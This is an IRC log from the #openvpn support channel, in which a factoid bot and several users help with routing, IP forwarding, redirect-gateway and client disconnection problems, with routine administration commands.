03:16 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
03:16 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
03:16 < Revenant1> !serverlan
03:16 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
03:16 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
03:18 < Revenant1> !redirect
03:18 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
03:18 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
03:18 < Revenant1> !ipforward
03:18 <@vpnHelper> "ipforward" is (#1) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall or (#2) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
03:18 < Revenant1> !linipforward
03:18 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
03:20 < Revenant1> !def1
03:20 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
03:22 -!- tcurnewmb [~tcurnewmb@172.56.5.168] has joined #openvpn
03:22 < tcurnewmb> anyone alive?
03:23 < tcurnewmb> I'm having econnrefused error 111 issues, was wondering if having a tablet as a wifi hotspot with the laptop im trying to use as a client behind it would mean my server.conf needs a ccd entry?
03:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 260 seconds]
03:26  * tcurnewmb cries
03:26 < tcurnewmb> im not trying to also vpn anything behind the laptop though
03:26 < Revenant1> im alive but im afraid i cant help you , been diagnosing my own openvpn problem ;p
03:27 < tcurnewmb> gotcha
03:28 < Revenant1> technically you should not need a ccd entry i think
03:29 < tcurnewmb> i didnt either  since im not trying to vpn anything behind the client
03:29 < tcurnewmb> and its the ONLY client right now so i know its not an address conflict
03:30 < tcurnewmb> but i also know the server.conf is good, and the openvpn instance on that machine is world accessible
03:30 < Revenant1> it seems that conn refused means it crashes on someting, have you tried with verb 5 in client config ? so you can see what goes on?
03:30 < tcurnewmb> just keeps spitting econnrefused error=111
03:30 < tcurnewmb> but the handshake is good
03:30 < tcurnewmb> which why would the handshake work but not the routing
03:30 < tcurnewmb> its all on udp/1194
03:31 < Revenant1> i got a nice one aswell , on windows everything works , i reboot to linux side and if i remove "push gateway def1" i can ping my vpn server and connect to it , but not the lan behind it (nor internet over that ip) , but if i add it , i get no error message but nothing works anymore ;p . on windows however just hitting the same .ovpn and boom all goes without hassle haha
03:31 < Revenant1> hmm lemme check for you if i can find someting
03:34 < tcurnewmb> no route to host
03:34 < tcurnewmb> but only durig upd/read+write
03:35 < Revenant1> hmm , so can you ping the host?
03:36 < tcurnewmb> yeah
03:36 < Revenant1> from your tablet? if you got some sort of shell on it . i kinda never have to configure tablets
03:36 < tcurnewmb> i can ping it from the laptop behind the mobileAP on the tablet even
03:36 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
03:37 < Revenant1> and can you connect? as in could you do a netcat or a telnet to the vpn server / port?
03:37 < Revenant1> might be something on tablet is being a wonky mofo
03:37 < Revenant1> (unless your gonna tell me its an ipad , then its just logical , apple stuff xd)
03:46 < Revenant1> ugh this is driving me crazy
03:46 < tcurnewmb> hahaha i got it. dh.pem to dh2048.pem in the pki, changed the name to match in server.conf, unbound interface listening, and disabled server cert check, works like a charm. gonna test it with server cert checking enabled again
03:48 < Revenant1> hehee nice
03:48 < Revenant1> i hope i can figure mine out , been trying to get this working for 2 days now
03:48 < Revenant1> its so stupid , on windows no hassle at all XD.
03:49 -!- rtur [~rtur@HSI-KBW-109-193-181-129.hsi7.kabel-badenwuerttemberg.de] has joined #openvpn
03:51 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
03:55 < rtur> Hi guys. I have an openvpn server/client running, tap mode. Now I would like to integrate the tap device I have on my laptop for my local network. So now I have my "local" network with 192.168.2.0/24 and the tap device with 10.8.0.2 and whant a bridge between this two, how would this work ?
03:59 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 240 seconds]
03:59 -!- takamichi [~takamichi@85.12.8.104] has joined #openvpn
04:02 < tcurnewmb> ive been working on this one for about three.
04:02 < tcurnewmb> yeah, so it doesnt pass server cert verification, easyrsa3 is the culprit im sure
04:02 < tcurnewmb> the new build-server-full doesnt tick the flag
04:02 < tcurnewmb> :(
04:07 < Revenant1> ugh
04:07 < Revenant1> thats a pain
04:08 < Revenant1> well i got a bit further in mine aswell , seems like if i dont add a "redirect-gateway" the vpn connects without hassle , and i can connect to services on 10.117.0.1 , however when i push the gateway i am no longer able to connect or to access the server.
04:09 < Revenant1> also my remote shell to my openvpn server drops (its a shell trough a proxy @ work) so i think it overrides something that it should not
04:11 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
04:11 < tcurnewmb> youre using a tun device right?
04:11 < tcurnewmb> and you dont have subnet conflicts?
04:12 < Revenant1> let me setup a dpaste , maybe you can see what been giving me headaches
04:12 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:16 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 240 seconds]
04:18 < tcurnewmb> ive gotta reboot into windows, ill brb
04:18 < tcurnewmb> exit
04:18 -!- tcurnewmb [~tcurnewmb@172.56.5.168] has quit [Quit: Leaving]
04:19 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
04:37 -!- tcurnewmb [~tcurnewmb@172.56.5.168] has joined #openvpn
04:37 < tcurnewmb> hey sorry about that im back
04:39 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
04:42 -!- takamichi [~takamichi@85.12.8.104] has quit [Ping timeout: 272 seconds]
04:44 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
04:44 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
04:48 -!- tcurnewmb [~tcurnewmb@172.56.5.168] has quit [Ping timeout: 272 seconds]
04:49 -!- Revenant1 [~schiesupp@217.68.49.85] has quit [Quit: Leaving]
04:53 -!- mitz [~mitz@222.227.247.6] has joined #openvpn
04:55 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
05:07 -!- JackSummer2 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
05:18 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Remote host closed the connection]
05:23 -!- mitz [~mitz@222.227.247.6] has quit [Remote host closed the connection]
05:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
05:42 -!- JackSummer2 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Remote host closed the connection]
05:43 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
05:44 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
05:45 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Quit: Computer has gone to sleep.]
05:49 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has joined #openvpn
05:52 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 240 seconds]
05:55 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
05:55 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has joined #openvpn
06:00 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
06:02 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 272 seconds]
06:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
06:05 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
06:12 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
06:12 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
06:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Read error: Connection reset by peer]
06:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
06:21 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Read error: Connection reset by peer]
06:21 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
06:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
06:25 -!- Denial [Denial@2.217.201.230] has joined #openvpn
06:29 -!- p3rror [~mezgani@41.249.156.29] has quit [Ping timeout: 240 seconds]
06:31 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Remote host closed the connection]
06:32 -!- Hes [frCl@tunkki.fi] has quit [Ping timeout: 245 seconds]
06:34 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
06:36 -!- JackSummer1 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
06:36 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
06:37 -!- JackSummer1 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Client Quit]
06:37 -!- JackSummer2 [~jack@79.154.47.241] has joined #openvpn
06:38 -!- phreakocious [~phreakoci@aesoterica.phreakocious.net] has quit [Ping timeout: 245 seconds]
06:41 -!- phreakocious [~phreakoci@aesoterica.phreakocious.net] has joined #openvpn
06:42 -!- Hes [Eis80@tunkki.fi] has joined #openvpn
06:47 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:50 -!- thecaptain2000 [~quassel@38.88.21.95.dynamic.jazztel.es] has joined #openvpn
06:55 -!- wallbroken_u_z [~wallbroke@unaffiliated/wallbroken] has quit [Ping timeout: 245 seconds]
06:57 -!- p3rror [~mezgani@41.249.156.29] has joined #openvpn
06:57 -!- dvl [~dan@64.147.113.42] has joined #openvpn
07:01 -!- Stew-a [~Stewart@unaffiliated/stew-a/x-2962361] has joined #openvpn
07:01 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
07:02 -!- wallbroken [~wallbroke@unaffiliated/wallbroken] has joined #openvpn
07:02 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
07:03 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
07:03 -!- mode/#openvpn [+v s7r] by ChanServ
07:04 -!- mirco [~mirco@ip-109-91-244-100.unitymediagroup.de] has joined #openvpn
07:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
07:07 -!- thecaptain2000 [~quassel@38.88.21.95.dynamic.jazztel.es] has quit [Remote host closed the connection]
07:14 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Read error: Operation timed out]
07:17 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 272 seconds]
07:20 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
07:26 -!- wallbroken [~wallbroke@unaffiliated/wallbroken] has quit [Ping timeout: 272 seconds]
07:27 -!- JackSummer2 [~jack@79.154.47.241] has quit [Quit: Konversation terminated!]
07:27 -!- JackSummer2 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
07:29 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 272 seconds]
07:29 -!- Devastator [~devas@177.99.154.140] has joined #openvpn
07:36 -!- occupant [~null@204.14.158.226] has quit [Ping timeout: 245 seconds]
07:36 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 246 seconds]
07:39 -!- thecaptain2000 [~quassel@38.88.21.95.dynamic.jazztel.es] has joined #openvpn
07:47 -!- JackSummer2 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
07:48 -!- JackSummer3 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
07:48 -!- JackSummer3 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Client Quit]
07:48 -!- JackSummer3 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
07:49 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
07:49 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:04 -!- JackSummer3 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
08:05 -!- JackSummer3 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
08:05 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
08:06 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
08:07 -!- JackSummer3 [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Client Quit]
08:07 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
08:09 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
08:10 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
08:14 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
08:17 -!- smerz [~smerz@f168194.upc-f.chello.nl] has quit [Read error: Operation timed out]
08:19 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
08:20 -!- smerz_ [~smerz@f168194.upc-f.chello.nl] has quit [Ping timeout: 272 seconds]
08:23 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
08:29 -!- Netsplit *.net <-> *.split quits: jacob11, HectorBarbossa, Haseo, @dazo
08:31 -!- noecc [~irc@unaffiliated/noecc] has joined #openvpn
08:35 -!- Netsplit over, joins: @dazo, HectorBarbossa, jacob11, Haseo
08:43 -!- mezgani [~mezgani@41.248.186.102] has joined #openvpn
08:45 -!- p3rror [~mezgani@41.249.156.29] has quit [Ping timeout: 272 seconds]
08:48 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 248 seconds]
08:50 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
08:54 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
08:54 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Client Quit]
08:56 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
08:57 -!- thecaptain2000 [~quassel@38.88.21.95.dynamic.jazztel.es] has quit [Read error: Connection reset by peer]
09:03 -!- dvl [~dan@64.147.113.42] has quit [Changing host]
09:03 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
09:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:04 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
09:05 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
09:15 -!- takamichi [~takamichi@c107-107.i07-27.onvol.net] has quit [Ping timeout: 252 seconds]
09:19 -!- Hes [Eis80@tunkki.fi] has quit [Ping timeout: 240 seconds]
09:24 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
09:24 -!- takamichi [~takamichi@85.12.8.15] has joined #openvpn
09:26 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
09:27 -!- Hes [WqTodo@tunkki.fi] has joined #openvpn
09:29 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has joined #openvpn
09:44 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
09:49 -!- WilliamDotSI [~will@this.reverse.dns.is.as.hot.as.william.si] has joined #openvpn
09:54 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
09:54 -!- NP-Hardass [~NP-Hardas@unaffiliated/np-hardass] has quit [Quit: WeeChat 0.4.1]
09:55 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
09:57 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
09:58 -!- roue [~roue@66-188-204-44.dhcp.roch.mn.charter.com] has quit [Quit: leaving]
10:00 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 240 seconds]
10:00 -!- able [~able@gateway/tor-sasl/able] has joined #openvpn
10:03 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
10:11 -!- crus` [~crusader@2001:44b8:319e:2900:20fe:8018:63ba:9b66] has joined #openvpn
10:12 -!- NChief2 [~nchief@unaffiliated/nchief] has joined #openvpn
10:13 -!- pekster_ [~rewt@openvpn/community/support/pekster] has joined #openvpn
10:13 -!- xorox90__ [uid7069@gateway/web/irccloud.com/x-jwmuzkigwaqrgmqa] has joined #openvpn
10:15 -!- lowk3y [lowkey@hydra-bom.aufbix.org] has joined #openvpn
10:16 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Disconnected by services]
10:16 -!- pekster_ is now known as pekster
10:16 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
10:23 -!- crus [~crusader@2001:44b8:319e:2900:20fe:8018:63ba:9b66] has quit [Remote host closed the connection]
10:23 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
10:23 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
10:23 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
10:23 -!- NChief2_ [~nchief@unaffiliated/nchief] has quit [Ping timeout: 240 seconds]
10:23 -!- xorox90_ [uid7069@gateway/web/irccloud.com/x-iibadrsizlbsaxpl] has quit [Ping timeout: 240 seconds]
10:23 -!- intricate [~xach@unaffiliated/intricate] has quit [Ping timeout: 240 seconds]
10:23 -!- lowkey [lowkey@hydra-bom.aufbix.org] has quit [Ping timeout: 240 seconds]
10:23 -!- Cultist [~CultOfThe@2601:d:9280:fc:8634:97ff:fe17:5dc3] has quit [Ping timeout: 240 seconds]
10:23 -!- noecc [~irc@unaffiliated/noecc] has quit [Quit: No Ping reply in 180 seconds.]
10:23 -!- tapout [~tapout@unaffiliated/tapout] has quit [Quit: ZNC - http://znc.sourceforge.net]
10:23 -!- lowk3y is now known as lowkey
10:23 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 240 seconds]
10:23 -!- dandy [~dandy@2a01:360:106::2] has quit [Quit: ZNC - http://znc.in]
10:24 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has quit [Ping timeout: 240 seconds]
10:24 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
10:24 -!- Gman32 [~Gman32@2607:5300:60:2b74::1] has joined #openvpn
10:24 -!- dandy [~dandy@2a01:360:106::2] has joined #openvpn
10:24 -!- intricate [~xach@2607:5300:60:3d47::1] has joined #openvpn
10:24 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
10:24 -!- Martin`_ is now known as Martin`
10:24 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn
10:24 -!- xorox90__ is now known as xorox90_
10:24 -!- krzee [~k@2610:150:4002::3:1] has quit [Changing host]
10:24 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
10:26 -!- mode/#openvpn [+o krzee] by ChanServ
10:26 -!- intricate [~xach@2607:5300:60:3d47::1] has quit [Changing host]
10:26 -!- intricate [~xach@unaffiliated/intricate] has joined #openvpn
10:28 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
10:29 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
10:31 -!- tapout [~tapout@unaffiliated/tapout] has joined #openvpn
10:31 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
10:36 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
10:36 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
10:39 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has quit [Ping timeout: 246 seconds]
10:40 -!- noecc [~irc@unaffiliated/noecc] has joined #openvpn
10:41 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has joined #openvpn
10:42 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
10:43 -!- mezgani [~mezgani@41.248.186.102] has quit [Ping timeout: 252 seconds]
10:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
10:48 -!- Devastator [~devas@177.99.154.140] has quit [Changing host]
10:48 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
10:56 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
10:56 -!- torkel [~torkel@53.7.92.79.rev.sfr.net] has joined #openvpn
10:56 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
10:56 -!- intricate [~xach@unaffiliated/intricate] has quit [Ping timeout: 240 seconds]
10:56 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has quit [Ping timeout: 240 seconds]
10:56 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 240 seconds]
10:56 -!- intricate [~xach@2607:5300:60:3d47::1] has joined #openvpn
10:56 -!- dvl [~dan@nyi.unixathome.org] has quit [Ping timeout: 240 seconds]
10:56 -!- torkel [~torkel@53.7.92.79.rev.sfr.net] has quit [Remote host closed the connection]
10:56 -!- able [~able@gateway/tor-sasl/able] has quit [Ping timeout: 240 seconds]
10:56 -!- dvl [~dan@64.147.113.42] has joined #openvpn
10:56 -!- JackSummer [~jack@79.154.47.241] has joined #openvpn
10:57 -!- intricate [~xach@2607:5300:60:3d47::1] has quit [Changing host]
10:57 -!- intricate [~xach@unaffiliated/intricate] has joined #openvpn
10:58 -!- JackSummer [~jack@79.154.47.241] has quit [Client Quit]
10:59 -!- torment [~torment@unaffiliated/torment] has joined #openvpn
10:59 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
10:59 -!- troyt [~troyt@2601:7:6d00:432:44dd:acff:fe85:9c8e] has joined #openvpn
10:59 < torment> are there client options to only route 80 and 443 requests over the openvpn?
11:00 <+rob0> No, but maybe you could do that in your OS.
11:00 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
11:01 < torment> i see - thx... this will be fun in win7
11:02 <+rob0> heh. Good luck.
11:05 -!- tdreyer1 [~tdreyer1@unaffiliated/tdreyer1] has quit [Ping timeout: 245 seconds]
11:10 <@ecrist> torment: that's considered policy routing and is outside the scope of openvpn
11:10 <@ecrist> generally handled by firewalls
11:13 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
11:15 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
11:16 -!- xtropx [~Evan.Rogg@corplan.arvig.com] has joined #openvpn
11:24 -!- dvl [~dan@64.147.113.42] has quit [Changing host]
11:24 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
11:28 -!- rtur [~rtur@HSI-KBW-109-193-181-129.hsi7.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
11:32 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Quit: Konversation terminated!]
11:36 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
11:39 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Client Quit]
11:40 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has joined #openvpn
11:57 -!- mattock is now known as mattock_afk
12:00 -!- JSharpe2 [~jsharpe2@176.249.43.93] has joined #openvpn
12:06 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has quit []
12:14 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has quit [Ping timeout: 272 seconds]
12:15 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has joined #openvpn
12:15 -!- [diecast] [~diecast@unaffiliated/diecast/x-4821952] has joined #openvpn
12:15 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Ping timeout: 240 seconds]
12:17 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
12:22 < xtropx> my client is disconnecting after about an hour http://pastebin.com/dRfAx8LF
12:23 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has joined #openvpn
12:23 -!- akselii_ [~akselii@tsydeemi.eu] has quit [Read error: Operation timed out]
12:25 -!- JSharpe2 [~jsharpe2@176.249.43.93] has quit [Remote host closed the connection]
12:27 -!- akselii [~akselii@tsydeemi.eu] has joined #openvpn
12:27 <@ecrist> !configs
12:27 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
12:28 -!- p3rror [~mezgani@41.248.186.102] has joined #openvpn
12:36 < xtropx> http://pastebin.com/raw.php?i=BX1imYZK
12:39 -!- frank-- [1000@modemcable026.116-81-70.mc.videotron.ca] has quit [Changing host]
12:39 -!- frank-- [1000@unaffiliated/thumbs] has joined #openvpn
12:39 -!- frank-- is now known as thumbs
12:40 < xtropx> sorry about that - cant expect help without configs
12:45 <@ecrist> first thing you need to do is update openvpn to latest. :)
12:46 <@ecrist> and verb 4 is better to troubleshoot
12:46 <@ecrist> also, we'd like to see a log from client and server
12:54 < xtropx> hmmm ok - let me ask you this. this implementation is on pfsense. do you think i would be better off running a dedicated server inside the network rather than attempting to run it on pfsense?
12:55 <@ecrist> nah, pfsense should be fine
12:55 < xtropx> I guess the reason I ask that is that I worry about breaking other pfsense functionality by updating it
12:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds]
12:59 -!- JSharpe2 [~jsharpe2@176.249.43.93] has joined #openvpn
12:59 <@ecrist> ah
13:00 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
13:01 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Excess Flood]
13:01 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
13:04 < xtropx> I will give it a whirl. do an update and a verb 4 see what we get thanks for looking
13:06 <@ecrist> in the grand scheme, 2.1 is really really old
13:31 -!- p3rror [~mezgani@41.248.186.102] has quit [Quit: Leaving]
13:32 -!- sudoyum [474452c5@gateway/web/cgi-irc/kiwiirc.com/ip.71.68.82.197] has joined #openvpn
13:45 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
13:47 -!- WilliamDotSI [~will@this.reverse.dns.is.as.hot.as.william.si] has left #openvpn []
13:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
14:07 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
14:09 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
14:13 -!- mchou [~quassel@unaffiliated/mchou] has quit [Read error: Operation timed out]
14:16 -!- mchou [~quassel@unaffiliated/mchou] has joined #openvpn
14:21 -!- torment [~torment@unaffiliated/torment] has left #openvpn ["WeeChat 0.3.7"]
